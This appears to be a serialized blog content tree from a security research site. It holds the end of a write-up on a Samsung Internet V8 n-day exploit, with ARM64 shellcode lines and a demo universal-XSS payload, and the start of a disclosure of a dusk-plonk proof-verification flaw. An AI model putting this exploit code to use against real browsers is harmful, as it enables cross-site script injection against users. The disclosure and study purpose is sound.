length\n",{"type":22,"tag":118,"props":143220,"children":143221},{"class":120,"line":34219},[143222],{"type":22,"tag":118,"props":143223,"children":143224},{},[143225],{"type":28,"value":143226},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":22,"tag":118,"props":143228,"children":143229},{"class":120,"line":34240},[143230],{"type":22,"tag":118,"props":143231,"children":143232},{},[143233],{"type":28,"value":143234},"// call NewFromUTF8\n",{"type":22,"tag":118,"props":143236,"children":143237},{"class":120,"line":82547},[143238],{"type":22,"tag":118,"props":143239,"children":143240},{},[143241],{"type":28,"value":143242},"blr x10\n",{"type":22,"tag":118,"props":143244,"children":143245},{"class":120,"line":82560},[143246],{"type":22,"tag":118,"props":143247,"children":143248},{"emptyLinePlaceholder":15},[143249],{"type":28,"value":250},{"type":22,"tag":118,"props":143251,"children":143252},{"class":120,"line":82568},[143253],{"type":22,"tag":118,"props":143254,"children":143255},{},[143256],{"type":28,"value":143257},"// store x14 = String XSS_PAYLOAD\n",{"type":22,"tag":118,"props":143259,"children":143260},{"class":120,"line":82576},[143261],{"type":22,"tag":118,"props":143262,"children":143263},{},[143264],{"type":28,"value":143265},"mov x14, x0\n",{"type":22,"tag":118,"props":143267,"children":143268},{"class":120,"line":82584},[143269],{"type":22,"tag":118,"props":143270,"children":143271},{"emptyLinePlaceholder":15},[143272],{"type":28,"value":250},{"type":22,"tag":118,"props":143274,"children":143275},{"class":120,"line":82624},[143276],{"type":22,"tag":118,"props":143277,"children":143278},{},[143279],{"type":28,"value":143280},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":22,"tag":118,"props":143282,"children":143283},{"class":120,"line":82632},[143284],{"type":22,"tag":118,"props":143285,"children":143286},{},[143287],{"type":28,"value":143288},"movz x1, #0xe44c\n",{"type":22,"tag":118,"props":143290,"children":143291},{"class":120,"line":89819},[143292],{"type":22,"tag":118,"props":143293,"children":143294},{},[143295],{"type":28,"value":143296},"movk x1, #0x014e, lsl #16\n",{"type":22,"tag":118,"props":143298,"children":143299},{"class":120,"line":89827},[143300],{"type":22,"tag":118,"props":143301,"children":143302},{},[143303],{"type":28,"value":143304},"sub x9, x12, x1\n",{"type":22,"tag":118,"props":143306,"children":143307},{"class":120,"line":103173},[143308],{"type":22,"tag":118,"props":143309,"children":143310},{"emptyLinePlaceholder":15},[143311],{"type":28,"value":250},{"type":22,"tag":118,"props":143313,"children":143314},{"class":120,"line":103181},[143315],{"type":22,"tag":118,"props":143316,"children":143317},{},[143318],{"type":28,"value":143319},"// call v8::internal::DebugEvaluate::Global\n",{"type":22,"tag":118,"props":143321,"children":143322},{"class":120,"line":103189},[143323],{"type":22,"tag":118,"props":143324,"children":143325},{},[143326],{"type":28,"value":143170},{"type":22,"tag":118,"props":143328,"children":143329},{"class":120,"line":103197},[143330],{"type":22,"tag":118,"props":143331,"children":143332},{},[143333],{"type":28,"value":143178},{"type":22,"tag":118,"props":143335,"children":143336},{"class":120,"line":103225},[143337],{"type":22,"tag":118,"props":143338,"children":143339},{},[143340],{"type":28,"value":143341},"// arg1 = String *source\n",{"type":22,"tag":118,"props":143343,"children":143344},{"class":120,"line":105996},[143345],{"type":22,"tag":118,"props":143346,"children":143347},{},[143348],{"type":28,"value":143349},"mov x1, x14\n",{"type":22,"tag":118,"props":143351,"children":143352},{"class":120,"line":106004},[143353],{"type":22,"tag":118,"props":143354,"children":143355},{},[143356],{"type":28,"value":143357},"// arg2 = mode = kDefault\n",{"type":22,"tag":118,"props":143359,"children":143361},{"class":120,"line":143360},69,[143362],{"type":22,"tag":118,"props":143363,"children":143364},{},[143365],{"type":28,"value":143210},{"type":22,"tag":118,"props":143367,"children":143369},{"class":120,"line":143368},70,[143370],{"type":22,"tag":118,"props":143371,"children":143372},{},[143373],{"type":28,"value":143374},"// arg3 = repl_mode = kYes\n",{"type":22,"tag":118,"props":143376,"children":143378},{"class":120,"line":143377},71,[143379],{"type":22,"tag":118,"props":143380,"children":143381},{},[143382],{"type":28,"value":143383},"mov x3, #0\n",{"type":22,"tag":118,"props":143385,"children":143387},{"class":120,"line":143386},72,[143388],{"type":22,"tag":118,"props":143389,"children":143390},{"emptyLinePlaceholder":15},[143391],{"type":28,"value":250},{"type":22,"tag":118,"props":143393,"children":143395},{"class":120,"line":143394},73,[143396],{"type":22,"tag":118,"props":143397,"children":143398},{},[143399],{"type":28,"value":142896},{"type":22,"tag":1289,"props":143401,"children":143403},{"id":143402},"uxss-demo",[143404],{"type":28,"value":143405},"UXSS Demo",{"type":22,"tag":31,"props":143407,"children":143408},{},[143409,143411,143417],{"type":28,"value":143410},"Below is a demo that executes the following UXSS payload: ",{"type":22,"tag":114,"props":143412,"children":143414},{"className":143413},[],[143415],{"type":28,"value":143416},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":28,"value":292},{"type":22,"tag":133454,"props":143419,"children":143422},{"className":143420,"controls":15},[143421],"blog-video-responsive",[143423,143425,143429],{"type":28,"value":143424},"\n  ",{"type":22,"tag":142660,"props":143426,"children":143428},{"src":143427,"type":133452},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":28,"value":143430},"\n  Your browser does not support the video tag.\n",{"type":22,"tag":23,"props":143432,"children":143433},{"id":30872},[143434],{"type":28,"value":20914},{"type":22,"tag":31,"props":143436,"children":143437},{},[143438],{"type":28,"value":143439},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":22,"tag":31,"props":143441,"children":143442},{},[143443],{"type":28,"value":143444},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":22,"tag":4880,"props":143446,"children":143447},{},[143448],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":143450},[143451,143455,143458,143468],{"id":25,"depth":142,"text":29,"children":143452},[143453,143454],{"id":133588,"depth":177,"text":133591},{"id":133671,"depth":177,"text":133674},{"id":133704,"depth":142,"text":133707,"children":143456},[143457],{"id":133845,"depth":177,"text":133699},{"id":133989,"depth":142,"text":133992,"children":143459},[143460,143461,143462,143463,143464,143465,143466,143467],{"id":133995,"depth":177,"text":133998},{"id":134452,"depth":177,"text":134455},{"id":134635,"depth":177,"text":134638},{"id":134746,"depth":177,"text":134749},{"id":135023,"depth":177,"text":135026},{"id":137733,"depth":177,"text":137736},{"id":141014,"depth":177,"text":141017},{"id":143402,"depth":177,"text":143405},{"id":30872,"depth":142,"text":20914},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":143473,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":143474,"description":143475,"date":143476,"author":143477,"image":143478,"isFeatured":15,"onBlogPage":15,"tags":143480,"body":143483,"_type":4896,"_id":148747,"_source":4898,"_file":148748,"_stem":148749,"_extension":4901},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[109434,109435],{"src":143479,"width":98864,"height":13},"/posts/dusk-commitment-issues/title.png",[143481,143482],"dusk","plonk",{"type":19,"children":143484,"toc":148727},[143485,143491,143532,143544,143550,143564,143569,143575,143866,143870,144142,144372,144378,145063,145067,145562,145570,145576,145595,145600,145606,145831,145870,145881,145887,145898,146606,146611,146614,146620,146673,146708,146740,146745,146749,146752,146758,146769,146782,146813,146880,146888,146910,146923,147350,147373,147378,147381,147386,147413,147509,147520,147567,147605,147616,147954,147971,147979,147982,147988,147993,148027,148035,148116,148119,148125,148139,148157,148162,148202,148210,148231,148234,148240,148245,148310,148324,148327,148333,148373,148384,148389,148394,148400,148414,148495,148516,148543,148546,148552,148566,148571,148576,148581,148716,148722],{"type":22,"tag":37313,"props":143486,"children":143488},{"id":143487},"commitment-issues-unverified-evaluations-in-dusks-plonk",[143489],{"type":28,"value":143490},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":22,"tag":31,"props":143492,"children":143493},{},[143494,143496,143503,143505,143512,143514,143521,143523,143530],{"type":28,"value":143495},"We found a critical soundness vulnerability in ",{"type":22,"tag":42,"props":143497,"children":143500},{"href":143498,"rel":143499},"https://github.com/dusk-network/plonk/",[46],[143501],{"type":28,"value":143502},"dusk-plonk",{"type":28,"value":143504},", the PLONK implementation powering ",{"type":22,"tag":42,"props":143506,"children":143509},{"href":143507,"rel":143508},"https://dusk.network/",[46],[143510],{"type":28,"value":143511},"Dusk Network's",{"type":28,"value":143513}," ~$60M ",{"type":22,"tag":42,"props":143515,"children":143518},{"href":143516,"rel":143517},"https://www.coingecko.com/en/coins/dusk",[46],[143519],{"type":28,"value":143520},"market cap",{"type":28,"value":143522},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":22,"tag":42,"props":143524,"children":143527},{"href":143525,"rel":143526},"https://github.com/dusk-network/rusk",[46],[143528],{"type":28,"value":143529},"Rusk",{"type":28,"value":143531}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":22,"tag":31,"props":143533,"children":143534},{},[143535,143537,143542],{"type":28,"value":143536},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":22,"tag":74,"props":143538,"children":143539},{},[143540],{"type":28,"value":143541},"without ever validating them against the trusted commitments in the verifier key.",{"type":28,"value":143543}," The prover can set them to whatever values make the equation pass.",{"type":22,"tag":23,"props":143545,"children":143547},{"id":143546},"how-plonk-works-briefly",[143548],{"type":28,"value":143549},"How PLONK works (briefly)",{"type":22,"tag":31,"props":143551,"children":143552},{},[143553,143555,143562],{"type":28,"value":143554},"For a rigorous treatment see the ",{"type":22,"tag":42,"props":143556,"children":143559},{"href":143557,"rel":143558},"https://eprint.iacr.org/2019/953",[46],[143560],{"type":28,"value":143561},"original paper",{"type":28,"value":143563},"; what follows covers only the parts needed to understand the bug.",{"type":22,"tag":31,"props":143565,"children":143566},{},[143567],{"type":28,"value":143568},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":22,"tag":1289,"props":143570,"children":143572},{"id":143571},"arithmetic-circuits-and-constraints",[143573],{"type":28,"value":143574},"Arithmetic circuits and constraints",{"type":22,"tag":31,"props":143576,"children":143577},{},[143578,143580,143629,143631,143780,143782,143865],{"type":28,"value":143579},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":22,"tag":114,"props":143581,"children":143583},{"className":143582},[5995,5996],[143584],{"type":22,"tag":118,"props":143585,"children":143587},{"className":143586},[6001],[143588],{"type":22,"tag":118,"props":143589,"children":143591},{"className":143590,"ariaHidden":6007},[6006],[143592],{"type":22,"tag":118,"props":143593,"children":143595},{"className":143594},[6012],[143596,143600,143605,143610,143615,143619,143624],{"type":22,"tag":118,"props":143597,"children":143599},{"className":143598,"style":6125},[6017],[],{"type":22,"tag":118,"props":143601,"children":143603},{"className":143602},[23671],[143604],{"type":28,"value":540},{"type":22,"tag":118,"props":143606,"children":143608},{"className":143607},[6023,23542],[143609],{"type":28,"value":21243},{"type":22,"tag":118,"props":143611,"children":143613},{"className":143612},[6136],[143614],{"type":28,"value":6139},{"type":22,"tag":118,"props":143616,"children":143618},{"className":143617,"style":6143},[6104],[],{"type":22,"tag":118,"props":143620,"children":143622},{"className":143621,"style":95129},[6023,23542],[143623],{"type":28,"value":5138},{"type":22,"tag":118,"props":143625,"children":143627},{"className":143626},[23693],[143628],{"type":28,"value":3627},{"type":28,"value":143630}," on an elliptic curve, by e.g proving that ",{"type":22,"tag":114,"props":143632,"children":143634},{"className":143633},[5995,5996],[143635],{"type":22,"tag":118,"props":143636,"children":143638},{"className":143637},[6001],[143639],{"type":22,"tag":118,"props":143640,"children":143642},{"className":143641,"ariaHidden":6007},[6006],[143643,143705,143767],{"type":22,"tag":118,"props":143644,"children":143646},{"className":143645},[6012],[143647,143651,143692,143696,143701],{"type":22,"tag":118,"props":143648,"children":143650},{"className":143649,"style":124980},[6017],[],{"type":22,"tag":118,"props":143652,"children":143654},{"className":143653},[6023],[143655,143660],{"type":22,"tag":118,"props":143656,"children":143658},{"className":143657,"style":95129},[6023,23542],[143659],{"type":28,"value":5138},{"type":22,"tag":118,"props":143661,"children":143663},{"className":143662},[6040],[143664],{"type":22,"tag":118,"props":143665,"children":143667},{"className":143666},[6045],[143668],{"type":22,"tag":118,"props":143669,"children":143671},{"className":143670},[6050],[143672],{"type":22,"tag":118,"props":143673,"children":143675},{"className":143674,"style":6018},[6055],[143676],{"type":22,"tag":118,"props":143677,"children":143678},{"style":6059},[143679,143683],{"type":22,"tag":118,"props":143680,"children":143682},{"className":143681,"style":6065},[6064],[],{"type":22,"tag":118,"props":143684,"children":143686},{"className":143685},[6070,6071,6072,6073],[143687],{"type":22,"tag":118,"props":143688,"children":143690},{"className":143689},[6023,6073],[143691],{"type":28,"value":5147},{"type":22,"tag":118,"props":143693,"children":143695},{"className":143694,"style":6202},[6104],[],{"type":22,"tag":118,"props":143697,"children":143699},{"className":143698},[6207],[143700],{"type":28,"value":282},{"type":22,"tag":118,"props":143702,"children":143704},{"className":143703,"style":6202},[6104],[],{"type":22,"tag":118,"props":143706,"children":143708},{"className":143707},[6012],[143709,143713,143754,143758,143763],{"type":22,"tag":118,"props":143710,"children":143712},{"className":143711,"style":124855},[6017],[],{"type":22,"tag":118,"props":143714,"children":143716},{"className":143715},[6023],[143717,143722],{"type":22,"tag":118,"props":143718,"children":143720},{"className":143719},[6023,23542],[143721],{"type":28,"value":21243},{"type":22,"tag":118,"props":143723,"children":143725},{"className":143724},[6040],[143726],{"type":22,"tag":118,"props":143727,"children":143729},{"className":143728},[6045],[143730],{"type":22,"tag":118,"props":143731,"children":143733},{"className":143732},[6050],[143734],{"type":22,"tag":118,"props":143735,"children":143737},{"className":143736,"style":6018},[6055],[143738],{"type":22,"tag":118,"props":143739,"children":143740},{"style":6059},[143741,143745],{"type":22,"tag":118,"props":143742,"children":143744},{"className":143743,"style":6065},[6064],[],{"type":22,"tag":118,"props":143746,"children":143748},{"className":143747},[6070,6071,6072,6073],[143749],{"type":22,"tag":118,"props":143750,"children":143752},{"className":143751},[6023,6073],[143753],{"type":28,"value":19260},{"type":22,"tag":118,"props":143755,"children":143757},{"className":143756,"style":6105},[6104],[],{"type":22,"tag":118,"props":143759,"children":143761},{"className":143760},[6110],[143762],{"type":28,"value":3220},{"type":22,"tag":118,"props":143764,"children":143766},{"className":143765,"style":6105},[6104],[],{"type":22,"tag":118,"props":143768,"children":143770},{"className":143769},[6012],[143771,143775],{"type":22,"tag":118,"props":143772,"children":143774},{"className":143773,"style":95674},[6017],[],{"type":22,"tag":118,"props":143776,"children":143778},{"className":143777},[6023],[143779],{"type":28,"value":56612},{"type":28,"value":143781},", here in ",{"type":22,"tag":114,"props":143783,"children":143785},{"className":143784},[5995,5996],[143786],{"type":22,"tag":118,"props":143787,"children":143789},{"className":143788},[6001],[143790],{"type":22,"tag":118,"props":143791,"children":143793},{"className":143792,"ariaHidden":6007},[6006],[143794],{"type":22,"tag":118,"props":143795,"children":143797},{"className":143796},[6012],[143798,143803],{"type":22,"tag":118,"props":143799,"children":143802},{"className":143800,"style":143801},[6017],"height:0.8389em;vertical-align:-0.15em;",[],{"type":22,"tag":118,"props":143804,"children":143806},{"className":143805},[6023],[143807,143812],{"type":22,"tag":118,"props":143808,"children":143810},{"className":143809},[6023,123418],[143811],{"type":28,"value":123421},{"type":22,"tag":118,"props":143813,"children":143815},{"className":143814},[6040],[143816],{"type":22,"tag":118,"props":143817,"children":143819},{"className":143818},[6045,23596],[143820,143854],{"type":22,"tag":118,"props":143821,"children":143823},{"className":143822},[6050],[143824,143849],{"type":22,"tag":118,"props":143825,"children":143827},{"className":143826,"style":94695},[6055],[143828],{"type":22,"tag":118,"props":143829,"children":143830},{"style":94699},[143831,143835],{"type":22,"tag":118,"props":143832,"children":143834},{"className":143833,"style":6065},[6064],[],{"type":22,"tag":118,"props":143836,"children":143838},{"className":143837},[6070,6071,6072,6073],[143839],{"type":22,"tag":118,"props":143840,"children":143842},{"className":143841},[6023,6073],[143843],{"type":22,"tag":118,"props":143844,"children":143846},{"className":143845},[6023,6073],[143847],{"type":28,"value":143848},"37",{"type":22,"tag":118,"props":143850,"children":143852},{"className":143851},[23699],[143853],{"type":28,"value":23702},{"type":22,"tag":118,"props":143855,"children":143857},{"className":143856},[6050],[143858],{"type":22,"tag":118,"props":143859,"children":143861},{"className":143860,"style":94726},[6055],[143862],{"type":22,"tag":118,"props":143863,"children":143864},{},[],{"type":28,"value":292},{"type":22,"tag":143867,"props":143868,"children":143869},"arithmetic-circuit-widget",{},[],{"type":22,"tag":31,"props":143871,"children":143872},{},[143873,143875,143901,143903,143982,143984,144061,144063,144140],{"type":28,"value":143874},"Each gate ",{"type":22,"tag":114,"props":143876,"children":143878},{"className":143877},[5995,5996],[143879],{"type":22,"tag":118,"props":143880,"children":143882},{"className":143881},[6001],[143883],{"type":22,"tag":118,"props":143884,"children":143886},{"className":143885,"ariaHidden":6007},[6006],[143887],{"type":22,"tag":118,"props":143888,"children":143890},{"className":143889},[6012],[143891,143896],{"type":22,"tag":118,"props":143892,"children":143895},{"className":143893,"style":143894},[6017],"height:0.6595em;",[],{"type":22,"tag":118,"props":143897,"children":143899},{"className":143898},[6023,23542],[143900],{"type":28,"value":3613},{"type":28,"value":143902}," has a left input ",{"type":22,"tag":114,"props":143904,"children":143906},{"className":143905},[5995,5996],[143907],{"type":22,"tag":118,"props":143908,"children":143910},{"className":143909},[6001],[143911],{"type":22,"tag":118,"props":143912,"children":143914},{"className":143913,"ariaHidden":6007},[6006],[143915],{"type":22,"tag":118,"props":143916,"children":143918},{"className":143917},[6012],[143919,143924],{"type":22,"tag":118,"props":143920,"children":143923},{"className":143921,"style":143922},[6017],"height:0.8444em;vertical-align:-0.15em;",[],{"type":22,"tag":118,"props":143925,"children":143927},{"className":143926},[6023],[143928,143933],{"type":22,"tag":118,"props":143929,"children":143931},{"className":143930,"style":94655},[6023,23542],[143932],{"type":28,"value":94658},{"type":22,"tag":118,"props":143934,"children":143936},{"className":143935},[6040],[143937],{"type":22,"tag":118,"props":143938,"children":143940},{"className":143939},[6045,23596],[143941,143971],{"type":22,"tag":118,"props":143942,"children":143944},{"className":143943},[6050],[143945,143966],{"type":22,"tag":118,"props":143946,"children":143948},{"className":143947,"style":95172},[6055],[143949],{"type":22,"tag":118,"props":143950,"children":143952},{"style":143951},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[143953,143957],{"type":22,"tag":118,"props":143954,"children":143956},{"className":143955,"style":6065},[6064],[],{"type":22,"tag":118,"props":143958,"children":143960},{"className":143959},[6070,6071,6072,6073],[143961],{"type":22,"tag":118,"props":143962,"children":143964},{"className":143963},[6023,23542,6073],[143965],{"type":28,"value":3613},{"type":22,"tag":118,"props":143967,"children":143969},{"className":143968},[23699],[143970],{"type":28,"value":23702},{"type":22,"tag":118,"props":143972,"children":143974},{"className":143973},[6050],[143975],{"type":22,"tag":118,"props":143976,"children":143978},{"className":143977,"style":94726},[6055],[143979],{"type":22,"tag":118,"props":143980,"children":143981},{},[],{"type":28,"value":143983},", right input ",{"type":22,"tag":114,"props":143985,"children":143987},{"className":143986},[5995,5996],[143988],{"type":22,"tag":118,"props":143989,"children":143991},{"className":143990},[6001],[143992],{"type":22,"tag":118,"props":143993,"children":143995},{"className":143994,"ariaHidden":6007},[6006],[143996],{"type":22,"tag":118,"props":143997,"children":143999},{"className":143998},[6012],[144000,144004],{"type":22,"tag":118,"props":144001,"children":144003},{"className":144002,"style":111613},[6017],[],{"type":22,"tag":118,"props":144005,"children":144007},{"className":144006},[6023],[144008,144013],{"type":22,"tag":118,"props":144009,"children":144011},{"className":144010,"style":94643},[6023,23542],[144012],{"type":28,"value":95462},{"type":22,"tag":118,"props":144014,"children":144016},{"className":144015},[6040],[144017],{"type":22,"tag":118,"props":144018,"children":144020},{"className":144019},[6045,23596],[144021,144050],{"type":22,"tag":118,"props":144022,"children":144024},{"className":144023},[6050],[144025,144045],{"type":22,"tag":118,"props":144026,"children":144028},{"className":144027,"style":95172},[6055],[144029],{"type":22,"tag":118,"props":144030,"children":144031},{"style":111642},[144032,144036],{"type":22,"tag":118,"props":144033,"children":144035},{"className":144034,"style":6065},[6064],[],{"type":22,"tag":118,"props":144037,"children":144039},{"className":144038},[6070,6071,6072,6073],[144040],{"type":22,"tag":118,"props":144041,"children":144043},{"className":144042},[6023,23542,6073],[144044],{"type":28,"value":3613},{"type":22,"tag":118,"props":144046,"children":144048},{"className":144047},[23699],[144049],{"type":28,"value":23702},{"type":22,"tag":118,"props":144051,"children":144053},{"className":144052},[6050],[144054],{"type":22,"tag":118,"props":144055,"children":144057},{"className":144056,"style":94726},[6055],[144058],{"type":22,"tag":118,"props":144059,"children":144060},{},[],{"type":28,"value":144062},", and output ",{"type":22,"tag":114,"props":144064,"children":144066},{"className":144065},[5995,5996],[144067],{"type":22,"tag":118,"props":144068,"children":144070},{"className":144069},[6001],[144071],{"type":22,"tag":118,"props":144072,"children":144074},{"className":144073,"ariaHidden":6007},[6006],[144075],{"type":22,"tag":118,"props":144076,"children":144078},{"className":144077},[6012],[144079,144083],{"type":22,"tag":118,"props":144080,"children":144082},{"className":144081,"style":111613},[6017],[],{"type":22,"tag":118,"props":144084,"children":144086},{"className":144085},[6023],[144087,144092],{"type":22,"tag":118,"props":144088,"children":144090},{"className":144089},[6023,23542],[144091],{"type":28,"value":94613},{"type":22,"tag":118,"props":144093,"children":144095},{"className":144094},[6040],[144096],{"type":22,"tag":118,"props":144097,"children":144099},{"className":144098},[6045,23596],[144100,144129],{"type":22,"tag":118,"props":144101,"children":144103},{"className":144102},[6050],[144104,144124],{"type":22,"tag":118,"props":144105,"children":144107},{"className":144106,"style":95172},[6055],[144108],{"type":22,"tag":118,"props":144109,"children":144110},{"style":94699},[144111,144115],{"type":22,"tag":118,"props":144112,"children":144114},{"className":144113,"style":6065},[6064],[],{"type":22,"tag":118,"props":144116,"children":144118},{"className":144117},[6070,6071,6072,6073],[144119],{"type":22,"tag":118,"props":144120,"children":144122},{"className":144121},[6023,23542,6073],[144123],{"type":28,"value":3613},{"type":22,"tag":118,"props":144125,"children":144127},{"className":144126},[23699],[144128],{"type":28,"value":23702},{"type":22,"tag":118,"props":144130,"children":144132},{"className":144131},[6050],[144133],{"type":22,"tag":118,"props":144134,"children":144136},{"className":144135,"style":94726},[6055],[144137],{"type":22,"tag":118,"props":144138,"children":144139},{},[],{"type":28,"value":144141},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":22,"tag":31,"props":144143,"children":144144},{},[144145,144147,144152,144154,144258,144260,144363,144365,144370],{"type":28,"value":144146},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":22,"tag":4764,"props":144148,"children":144149},{},[144150],{"type":28,"value":144151},"selector",{"type":28,"value":144153}," values that act as switches: setting ",{"type":22,"tag":114,"props":144155,"children":144157},{"className":144156},[5995,5996],[144158],{"type":22,"tag":118,"props":144159,"children":144161},{"className":144160},[6001],[144162],{"type":22,"tag":118,"props":144163,"children":144165},{"className":144164,"ariaHidden":6007},[6006],[144166,144245],{"type":22,"tag":118,"props":144167,"children":144169},{"className":144168},[6012],[144170,144174,144232,144236,144241],{"type":22,"tag":118,"props":144171,"children":144173},{"className":144172,"style":111533},[6017],[],{"type":22,"tag":118,"props":144175,"children":144177},{"className":144176},[6023],[144178,144183],{"type":22,"tag":118,"props":144179,"children":144181},{"className":144180,"style":95129},[6023,23542],[144182],{"type":28,"value":95132},{"type":22,"tag":118,"props":144184,"children":144186},{"className":144185},[6040],[144187],{"type":22,"tag":118,"props":144188,"children":144190},{"className":144189},[6045,23596],[144191,144221],{"type":22,"tag":118,"props":144192,"children":144194},{"className":144193},[6050],[144195,144216],{"type":22,"tag":118,"props":144196,"children":144199},{"className":144197,"style":144198},[6055],"height:0.3283em;",[144200],{"type":22,"tag":118,"props":144201,"children":144202},{"style":95176},[144203,144207],{"type":22,"tag":118,"props":144204,"children":144206},{"className":144205,"style":6065},[6064],[],{"type":22,"tag":118,"props":144208,"children":144210},{"className":144209},[6070,6071,6072,6073],[144211],{"type":22,"tag":118,"props":144212,"children":144214},{"className":144213,"style":96651},[6023,23542,6073],[144215],{"type":28,"value":96654},{"type":22,"tag":118,"props":144217,"children":144219},{"className":144218},[23699],[144220],{"type":28,"value":23702},{"type":22,"tag":118,"props":144222,"children":144224},{"className":144223},[6050],[144225],{"type":22,"tag":118,"props":144226,"children":144228},{"className":144227,"style":94726},[6055],[144229],{"type":22,"tag":118,"props":144230,"children":144231},{},[],{"type":22,"tag":118,"props":144233,"children":144235},{"className":144234,"style":6202},[6104],[],{"type":22,"tag":118,"props":144237,"children":144239},{"className":144238},[6207],[144240],{"type":28,"value":282},{"type":22,"tag":118,"props":144242,"children":144244},{"className":144243,"style":6202},[6104],[],{"type":22,"tag":118,"props":144246,"children":144248},{"className":144247},[6012],[144249,144253],{"type":22,"tag":118,"props":144250,"children":144252},{"className":144251,"style":95674},[6017],[],{"type":22,"tag":118,"props":144254,"children":144256},{"className":144255},[6023],[144257],{"type":28,"value":6026},{"type":28,"value":144259}," makes a row a multiplication gate, setting ",{"type":22,"tag":114,"props":144261,"children":144263},{"className":144262},[5995,5996],[144264],{"type":22,"tag":118,"props":144265,"children":144267},{"className":144266},[6001],[144268],{"type":22,"tag":118,"props":144269,"children":144271},{"className":144270,"ariaHidden":6007},[6006],[144272,144350],{"type":22,"tag":118,"props":144273,"children":144275},{"className":144274},[6012],[144276,144280,144337,144341,144346],{"type":22,"tag":118,"props":144277,"children":144279},{"className":144278,"style":111533},[6017],[],{"type":22,"tag":118,"props":144281,"children":144283},{"className":144282},[6023],[144284,144289],{"type":22,"tag":118,"props":144285,"children":144287},{"className":144286,"style":95129},[6023,23542],[144288],{"type":28,"value":95132},{"type":22,"tag":118,"props":144290,"children":144292},{"className":144291},[6040],[144293],{"type":22,"tag":118,"props":144294,"children":144296},{"className":144295},[6045,23596],[144297,144326],{"type":22,"tag":118,"props":144298,"children":144300},{"className":144299},[6050],[144301,144321],{"type":22,"tag":118,"props":144302,"children":144304},{"className":144303,"style":144198},[6055],[144305],{"type":22,"tag":118,"props":144306,"children":144307},{"style":95176},[144308,144312],{"type":22,"tag":118,"props":144309,"children":144311},{"className":144310,"style":6065},[6064],[],{"type":22,"tag":118,"props":144313,"children":144315},{"className":144314},[6070,6071,6072,6073],[144316],{"type":22,"tag":118,"props":144317,"children":144319},{"className":144318},[6023,23542,6073],[144320],{"type":28,"value":119607},{"type":22,"tag":118,"props":144322,"children":144324},{"className":144323},[23699],[144325],{"type":28,"value":23702},{"type":22,"tag":118,"props":144327,"children":144329},{"className":144328},[6050],[144330],{"type":22,"tag":118,"props":144331,"children":144333},{"className":144332,"style":94726},[6055],[144334],{"type":22,"tag":118,"props":144335,"children":144336},{},[],{"type":22,"tag":118,"props":144338,"children":144340},{"className":144339,"style":6202},[6104],[],{"type":22,"tag":118,"props":144342,"children":144344},{"className":144343},[6207],[144345],{"type":28,"value":282},{"type":22,"tag":118,"props":144347,"children":144349},{"className":144348,"style":6202},[6104],[],{"type":22,"tag":118,"props":144351,"children":144353},{"className":144352},[6012],[144354,144358],{"type":22,"tag":118,"props":144355,"children":144357},{"className":144356,"style":95674},[6017],[],{"type":22,"tag":118,"props":144359,"children":144361},{"className":144360},[6023],[144362],{"type":28,"value":6026},{"type":28,"value":144364}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":22,"tag":4764,"props":144366,"children":144367},{},[144368],{"type":28,"value":144369},"permutation argument",{"type":28,"value":144371}," for that, which we will not cover here.",{"type":22,"tag":1289,"props":144373,"children":144375},{"id":144374},"from-many-checks-to-one",[144376],{"type":28,"value":144377},"From many checks to one",{"type":22,"tag":31,"props":144379,"children":144380},{},[144381,144383,144388,144389,144481,144482,144574,144575,144667,144669,144674,144675,144767,144768,144860,144862,144887,144889,144914,144916,145008,145010,145035,145037,145062],{"type":28,"value":144382},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":22,"tag":4764,"props":144384,"children":144385},{},[144386],{"type":28,"value":144387},"witness 